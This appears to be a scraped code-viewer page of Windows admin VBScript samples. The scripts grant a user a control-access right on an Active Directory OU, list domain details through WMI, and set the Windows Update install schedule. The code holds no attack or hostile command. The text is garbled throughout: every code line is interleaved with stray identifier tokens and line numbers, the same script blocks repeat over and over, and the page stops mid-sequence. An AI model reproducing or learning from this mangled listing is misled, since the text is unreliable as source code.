                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      1823

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      1824

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      1825

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      1826

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      1828

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1830

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      1831

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      1839

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1841

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1842

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1845

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1848

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1849

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1850

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1851

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1852

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1853

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1854

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1855

                                                                                                                                                      Next

                                                                                                                                                      1859

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1860

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1862

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1863

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1865

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1872

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1874

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1875

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1878

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1880

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1881

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1882

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1883

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1884

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1885

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1887

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1889

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1890

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1891

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1892

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1893

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1894

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      1895

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      1896

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      1897

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      1899

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      1901

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      1902

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      1903

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      1904

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      1905

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1906

                                                                                                                                                      Next

                                                                                                                                                      1912

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      1913

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      1914

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      1915

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      1916

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      1918

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      1919

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      1920

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1922

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      1924

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      1925

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      1926

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      1927

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      1928

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      1929

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      1930

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      1931

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      1933

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1935

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      1936

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      1944

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1946

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1947

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1950

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1953

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1954

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1955

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1956

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1957

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1958

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1959

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1960

                                                                                                                                                      Next

                                                                                                                                                      1964

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1965

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1967

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1968

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1970

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1977

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1979

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1980

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1983

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1985

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1986

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1987

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1988

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1989

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1990

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1992

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1994

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1995

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1996

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1997

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1998

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1999

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      2000

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      2001

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      2002

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      2004

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      2006

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      2007

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      2008

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      2009

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      2010

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      2011

                                                                                                                                                      Next

                                                                                                                                                      2017

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      2018

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      2019

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      2020

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      2021

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      2023

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      2024

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      2025

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      2027

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      2029

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      2030

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      2031

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      2032

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      2033

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      2034

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      2035

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      2036

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      2038

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      2040

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      2041

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      2049

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      2051

                                                                                                                                                      strComputer = "."

                                                                                                                                                      2052

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      2055

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      2058

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      2059

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      2060

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      2061

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      2062

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      2063

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      2064

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      2065

                                                                                                                                                      Next

                                                                                                                                                      2069

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      2070

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      2072

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      2073

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      2075

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      2082

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      2084

                                                                                                                                                      strComputer = "."

                                                                                                                                                      2085

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      2088

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      2090

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      2091

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      2092

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      2093

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      2094

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      2095

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      2097

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      2099

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      2100

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      2101

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      2102

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      2103

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      2104

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      2105

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      2106

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      2107

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      2109

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      2111

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      2112

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      2113

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      2114

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      2115

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      2116

                                                                                                                                                      Next

                                                                                                                                                      2122

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      2123

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      2124

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      2125

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      2126

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      2128

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      2129

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      2130

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      2132

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      2134

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      2135

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      2136

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      2137

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      2138

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      2139

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      2140

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      2141

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      2143

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      2145

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      2146

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      2154

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      2156

                                                                                                                                                      strComputer = "."

                                                                                                                                                      2157

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      2160

